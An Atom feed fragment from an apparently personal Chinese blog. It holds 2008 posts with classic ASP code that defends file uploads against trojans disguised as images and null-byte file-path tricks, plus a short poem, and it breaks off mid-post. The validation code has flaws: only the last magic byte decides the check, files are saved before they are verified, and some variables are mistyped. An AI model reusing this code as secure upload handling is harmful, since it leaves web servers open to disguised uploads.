		  <summary type="html"><![CDATA[图片上传木马检测<br/><br/>经常听说的ASP上传漏洞，即是将一些木马文件修改后缀名（修改为图像文件后缀），进行上传。<br/>针对此情况使用下列函数进行辨别：<br/>&lt;%<br/>&#39;***************************************************************<br/>&#39;CheckFileType 函数用来检查文件是否为图片文件<br/>&#39;参数filename是本地文件的路径<br/>&#39;如果是文件jpeg,gif,bmp,png图片中的一种，函数返回true，否则返回false<br/>&#39;***************************************************************<br/>const adTypeBinary=1<br/>dim jpg(1):jpg(0)=CByte(&amp;HFF):jpg(1)=CByte(&amp;HD8)<br/>dim bmp(1):bmp(0)=CByte(&amp;H42):bmp(1)=CByte(&amp;H4D)<br/>dim png(3):png(0)=CByte(&amp;H89):png(1)=CByte(&amp;H50):png(2)=CByte(&amp;H4E):png(3)=CByte(&amp;H47)<br/>dim gif(5):gif(0)=CByte(&amp;H47):gif(1)=CByte(&amp;H49):gif(2)=CByte(&amp;H46):gif(3)=CByte(&amp;H39):gif(4)=CByte(&amp;H38):gif(5)=CByte(&amp;H61)<br/>function CheckFileType(filename)<br/>on error resume next<br/>CheckFileType=false<br/>dim fstream,fileExt,stamp,i<br/>fileExt=mid(filename,InStrRev(filename,&#34;.&#34;)+1)<br/>set fstream=Server.cr&#101;ateobject(&#34;ADODB.Stream&#34;)<br/>fstream.Open<br/>fstream.Type=adTypeBinary<br/>fstream.LoadFromFile filename<br/>fstream.position=0<br/>sel&#101;ct case fileExt<br/>case &#34;jpg&#34;,&#34;jpeg&#34;<br/>stamp=fstream.read(2)<br/>for i=0 to 1<br/>if ascB(MidB(stamp,i+1,1))=jpg(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;gif&#34;<br/>stamp=fstream.read(6)<br/>for i=0 to 5<br/>if ascB(MidB(stamp,i+1,1))=gif(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;png&#34;<br/>stamp=fstream.read(4)<br/>for i=0 to 3<br/>if ascB(MidB(stamp,i+1,1))=png(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;bmp&#34;<br/>stamp=fstream.read(2)<br/>for i=0 to 1<br/>if ascB(MidB(stamp,i+1,1))=bmp(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>end sel&#101;ct<br/>fstream.Close<br/>set fseteam=nothing<br/>if err.number&lt;&gt;0 then CheckFileType=false<br/>end function<br/>%&gt;<br/><br/>那么在应用的时候 <br/>CheckFileType(server.mappath(&#34;cnbruce.jpg&#34;))<br/>或者<br/>CheckFileType(&#34;F:/web/164/images/cnbruce.jpg&#34;))<br/>反正即是检测验证本地物理地址的图像文件类型，返回 true 或 false值<br/>所以这个情况应用在图像上传中，目前的办法是先允许该“伪图像”文件的上传，接着使用以上的自定义函数判断该文件是否符合图像的规范，若是木马伪装的图像文件则FSO删除之，比如：<br/>file.SaveAs Server.mappath(filename) &#39;保存文件<br/>If not CheckFileType(Server.mappath(filename)) then<br/>response.write &#34;错误的图像格式&#34;<br/>Set fso = Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>Set ficn = fso.GetFile(Server.mappath(filename))<br/>ficn.del&#101;te<br/>set ficn=nothing<br/>set fso=nothing<br/>response.end<br/>end if<br/><br/>则是先将文件上传，接着立马使用自定义函数判断文件图像类型的吻合性，FSO做出删除该文件的操作。<br/><br/>ASP上传漏洞还利用&#34;\0&#34;对filepath进行手脚操作www.cnbruce.com/blog/showlog.asp?cat_id=32&amp;amp;log_id=635<br/>针对这样的情况可使用如下函数<br/>function TrueStr(fileTrue)<br/>str_len=len(fileTrue)<br/>pos=Instr(fileTrue,chr(0))<br/>if pos=0 o&#114; pos=str_len then<br/>TrueStr=true<br/>else<br/>TrueStr=false<br/>end if<br/>end function<br/><br/>接着就可判断后再做文件的上传<br/>if TrueStr(filename)=false then<br/>response.write &#34;非法文件&#34;<br/>response.end<br/>end if<br/>file.SaveAs Server.mappath(filename)<br/><br/>所以，在Blog中的一文：（ASP）文件系统之化境无组件（v2.0）上传 <br/><a href="http://www.cnbruce.com/blog/showlog.asp?cat_id=26" target="_blank">http://www.cnbruce.com/blog/showlog.asp?cat_id=26</a>&amp;log_id=927<br/>关于upfile.asp的全新内容如下：<br/><br/>--------------------------------------------------------------------------------<br/>&lt;%@LANGUAGE=&#34;VBSCRIPT&#34; CODEPAGE=&#34;936&#34;%&gt; <br/>&lt;!--#include file=&#34;upload.inc&#34;--&gt;<br/>&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;title&gt;文件上传&lt;/title&gt;<br/>&lt;meta http-equiv=&#34;content-type&#34; c&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>&lt;%<br/>on error resume next<br/>dim upload,f_folder,file,formPath,iCount,filename,fileExt,filesizemin,filesizemax<br/>&#39;******************************************************************<br/>&#39;CheckFileType 函数用来检查文件是否为图片文件<br/>&#39;参数filename是本地文件的路径<br/>&#39;如果是文件jpeg,gif,bmp,png图片中的一种，函数返回true，否则返回false<br/>&#39;******************************************************************<br/>const adTypeBinary=1<br/>dim jpg(1):jpg(0)=CByte(&amp;HFF):jpg(1)=CByte(&amp;HD8)<br/>dim bmp(1):bmp(0)=CByte(&amp;H42):bmp(1)=CByte(&amp;H4D)<br/>dim png(3):png(0)=CByte(&amp;H89):png(1)=CByte(&amp;H50):png(2)=CByte(&amp;H4E):png(3)=CByte(&amp;H47)<br/>dim gif(5):gif(0)=CByte(&amp;H47):gif(1)=CByte(&amp;H49):gif(2)=CByte(&amp;H46):gif(3)=CByte(&amp;H39):gif(4)=CByte(&amp;H38):gif(5)=CByte(&amp;H61)<br/>function CheckFileType(filename)<br/>CheckFileType=false<br/>dim fstream,fileExt,stamp,i<br/>fileExt=mid(filename,InStrRev(filename,&#34;.&#34;)+1)<br/>set fstream=Server.cr&#101;ateobject(&#34;ADODB.Stream&#34;)<br/>fstream.Open<br/>fstream.Type=adTypeBinary<br/>fstream.LoadFromFile filename<br/>fstream.position=0<br/>sel&#101;ct case fileExt<br/>case &#34;jpg&#34;,&#34;jpeg&#34;<br/>stamp=fstream.read(2)<br/>for i=0 to 1<br/>if ascB(MidB(stamp,i+1,1))=jpg(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;gif&#34;<br/>stamp=fstream.read(6)<br/>for i=0 to 5<br/>if ascB(MidB(stamp,i+1,1))=gif(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;png&#34;<br/>stamp=fstream.read(4)<br/>for i=0 to 3<br/>if ascB(MidB(stamp,i+1,1))=png(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>case &#34;bmp&#34;<br/>stamp=fstream.read(2)<br/>for i=0 to 1<br/>if ascB(MidB(stamp,i+1,1))=bmp(i) then CheckFileType=true else CheckFileType=false<br/>next<br/>end sel&#101;ct<br/>fstream.Close<br/>set fseteam=nothing<br/>if err.number&lt;&gt;0 then CheckFileType=false<br/>end function<br/>function TrueStr(fileTrue)<br/>str_len=len(fileTrue)<br/>pos=Instr(fileTrue,chr(0))<br/>if pos=0 o&#114; pos=str_len then<br/>TrueStr=true<br/>else<br/>TrueStr=false<br/>end if<br/>end function<br/>filesizemin=100<br/>filesizemax=200*1024<br/>set upload=new upload_5xSoft &#39;建立上传对象<br/>f_folder=upload.form(&#34;upfilefolder&#34;)<br/>&#39;********************************列出所有上传文件***************************************************<br/>For each formName in upload.objFile<br/>set file=upload.file(formName)<br/>If file.filesize&gt;0 then<br/>&#39;********************************检测文件大小***************************************************<br/>If file.filesize&lt;filesizemin Then<br/>response.write &#34;你上传的文件太小了　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&#34;<br/>ElseIf file.filesize&gt;filesizemax then<br/>response.write &#34;文件大小超过了 &#34;&amp;filesizemax&amp;&#34;字节 限制　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&#34;<br/>End If<br/>&#39;********************************检测文件类型****************************************************<br/>fileExt=ucase(right(file.filename,4))<br/>uploadsuc=false<br/>Forum_upload=&#34;RAR|ZIP|SWF|JPG|PNG|GIF|DOC|TXT|CHM|PDF|ACE|MP3|WMA|WMV|MIDI|AVI|RM<br/>|RA|RMVB|MOV|XLS&#34;<br/>Forumupload=split(Forum_upload,&#34;|&#34;)<br/>for i=0 to ubound(Forumupload)<br/>if fileEXT=&#34;.&#34;&amp;trim(Forumupload(i)) then<br/>uploadsuc=true<br/>exit for<br/>else<br/>uploadsuc=false<br/>end if<br/>next<br/>if uploadsuc=false then<br/>response.write &#34;文件格式不正确　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&#34;<br/>response.end<br/>end if<br/>&#39;********************************建立文件上传的目录文件夹****************************************<br/>Set upf=Server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>If Err&lt;&gt;0 Then<br/>Err.Clear<br/>response.write(&#34;您的服务器不支持FSO&#34;)<br/>response.end<br/>End If<br/>f_type= replace(fileExt,&#34;.&#34;,&#34;&#34;)<br/>f_name= year(now)&amp;&#34;-&#34;&amp;month(now)<br/>If upf.FolderExists(Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type&amp;&#34;/&#34;&amp;f_name))=False Then<br/>If upf.FolderExists(Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type))=False Then<br/>If upf.FolderExists(Server.MapPath(f_folder))=False Then<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder)<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type)<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type&amp;&#34;/&#34;&amp;f_name)<br/>Else<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type)<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type&amp;&#34;/&#34;&amp;f_name)<br/>End If<br/>Else<br/>upf.Cr&#101;ateFolder Server.MapPath(f_folder&amp;&#34;/&#34;&amp;f_type&amp;&#34;/&#34;&amp;f_name)<br/>End If<br/>End If<br/>f_ftn=f_folder&amp;&#34;/&#34;&amp;f_type&amp;&#34;/&#34;&amp;f_name<br/>Set upf=Nothing<br/>&#39;********************************保存上传文件至文件夹*****************************************<br/>randomize<br/>ranNum=int(90000*rnd)+10000<br/>filename=f_ftn&amp;&#34;/&#34;&amp;day(now)&amp;&#34;-&#34;&amp;ranNum&amp;&#34;-&#34;&amp;file.filename<br/>if TrueStr(filename)=false then<br/>response.write &#34;非法文件&#34;<br/>response.end<br/>end if<br/>if file.filesize&gt;filesizemin and file.filesize&lt;filesizemax then<br/>file.SaveAs Server.mappath(filename) &#39;保存文件<br/>If not CheckFileType(Server.mappath(filename)) then<br/>response.write &#34;错误的图像格式&#34;<br/>Set fso = Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>Set ficn = fso.GetFile(Server.mappath(filename))<br/>ficn.del&#101;te<br/>set ficn=nothing<br/>set fso=nothing<br/>response.end<br/>end if<br/>if f_type=&#34;JPG&#34; o&#114; f_type=&#34;GIF&#34; o&#114; f_type=&#34;PNG&#34; then<br/>response.write &#34;&lt;script&gt;parent.cn_bruce.cn_content.value+=&#39;&lt;img src=&#34;&#34;&amp;filename&amp;&#34;&#34; border=0&gt;&#39;&lt;/script&gt;&#34;<br/>ElseIf f_type=&#34;ZIP&#34; o&#114; f_type=&#34;RAR&#34; o&#114; f_type=&#34;DOC&#34; o&#114; f_type=&#34;TXT&#34; then<br/>response.write &#34;&lt;script&gt;parent.cn_bruce.cn_content.value+=&#39;&#34;&amp;filename&amp;&#34;&#39;&lt;/script&gt;&#34;<br/>&#39;ElseIf<br/>else<br/>response.write &#34;&lt;script&gt;parent.cn_bruce.cn_content.value+=&#39; &#34;&amp;filename&amp;&#34; &#39;&lt;/script&gt;&#34;<br/>end if<br/>iCount=iCount+1<br/>end if<br/>set file=nothing<br/>end if<br/>next<br/>set upload=nothing &#39;删除此对象<br/>response.write (iCount&amp;&#34; 个文件上传成功! &lt;a href=# onclick=history.go(-1)&gt;继续上传&lt;/a&gt;&#34;)<br/>%&gt;<br/>&lt;/body&gt;<br/>&lt;/html&gt;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=220" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=220</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[同心]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=10" label="我的文章(Article)" /> 
	  <updated>2008-07-23T08:27:33+08:00</updated>
	  <published>2008-07-23T08:27:33+08:00</published>
		  <summary type="html"><![CDATA[把岁月锁进心房<br/>藏在最深处<br/>不让阳光捕获<br/>不让月光窥视<br/>只让你－－心中的倩影<br/>与我共享<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=219" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=219</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[修补upfile.asp上传漏洞]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=7" label="网站设计(Design)" /> 
	  <updated>2008-07-21T19:57:39+08:00</updated>
	  <published>2008-07-21T19:57:39+08:00</published>
		  <summary type="html"><![CDATA[ASP文件相关的一些函数。有以下几个：<br/>1. 得到文件扩展名<br/>2. ASP上传文件漏洞检测<br/>3. 格式化显示文件大小<br/>4. asp检测上传图片是否为真实图片<br/>5. 上传文件扩展名检测<br/>6. 取得文件对应的图标<br/>7. 下载文件等相关函数<br/><br/><br/>程序代码：<br/><br/>&lt;%&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: 得到文件扩展名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名: GetFileExt(fileTrue)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;参&nbsp;&nbsp;&nbsp;&nbsp;数: sFileName 文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回值: 返回文件扩展名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function GetFileExt(sFileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetFileExt = UCase(Mid(sFileName,InStrRev (sFileName, &#34;.&#34;)+1))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;下面有附<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End function<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: ASP上传漏洞 &#34;\0&#34; 防范<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名: TrueStr(fileTrue)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;参&nbsp;&nbsp;&nbsp;&nbsp;数: sFileName 文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回值: 合法文件返回 True ,否则返回False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function IsTrueFileName(sFileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim str_len,pos<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str_len=len(sFileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pos=Instr(sFileName,chr(0))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If pos=0 o&#114; pos=str_len then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IsTrueFileName = true<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IsTrueFileName = false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End function<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: 检测上传的图片文件(jpeg,gif,bmp,png)是否真的为图片<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名: TrueStr(fileTrue)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;参&nbsp;&nbsp;&nbsp;&nbsp;数: sFileName 文件名(此处文件名是文件夹的物理全路径)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回值: 确实为图片文件则返回 True ,否则返回False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function IsImgFile(sFileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;const adTypeBinary=1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim return<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim jpg(1):jpg(0)=CByte(&amp;HFF):jpg(1)=CByte(&amp;HD8)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim bmp(1):bmp(0)=CByte(&amp;H42):bmp(1)=CByte(&amp;H4D)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim png(3):png(0)=CByte(&amp;H89):png(1)=CByte(&amp;H50):png(2)=CByte(&amp;H4E):png(3)=CByte(&amp;H47)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim gif(5):gif(0)=CByte(&amp;H47):gif(1)=CByte(&amp;H49):gif(2)=CByte(&amp;H46):gif(3)=CByte(&amp;H39):gif(4)=CByte(&amp;H38):gif(5)=CByte(&amp;H61)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on error resume next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim fstream,fileExt,stamp,i<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;得到文件后缀并转化为小写<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileExt = LCase(GetFileExt(sFileName))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;如果文件后缀为 jpg,jpeg,bmp,gif,png 中的任一种<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;则执行真实图片判断<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If strInString(FileExt,&#34;jpg|jpeg|bmp|gif|png&#34;)=true then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set fstream=Server.cr&#101;ateobject(&#34;ADODB.Stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fstream.Open<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fstream.Type=adTypeBinary<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fstream.LoadFromFile sFileName<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fstream.position=0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct case LCase(FileExt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#34;jpg&#34;,&#34;jpeg&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stamp=fstream.read(2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ascB(MidB(stamp,i+1,1))=jpg(i) then return=true else return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#34;gif&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stamp=fstream.read(6)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to 5<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ascB(MidB(stamp,i+1,1))=gif(i) then return=true else return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#34;png&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stamp=fstream.read(4)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to 3<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ascB(MidB(stamp,i+1,1))=png(i) then return=true else return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#34;bmp&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stamp=fstream.read(2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ascB(MidB(stamp,i+1,1))=bmp(i) then return=true else return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End sel&#101;ct<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fstream.Close<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set fseteam=nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If err.number&lt;&gt;0 then return = false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return = true<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IsImgFile = return<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End function<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: 上传文件扩展名检测<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名: 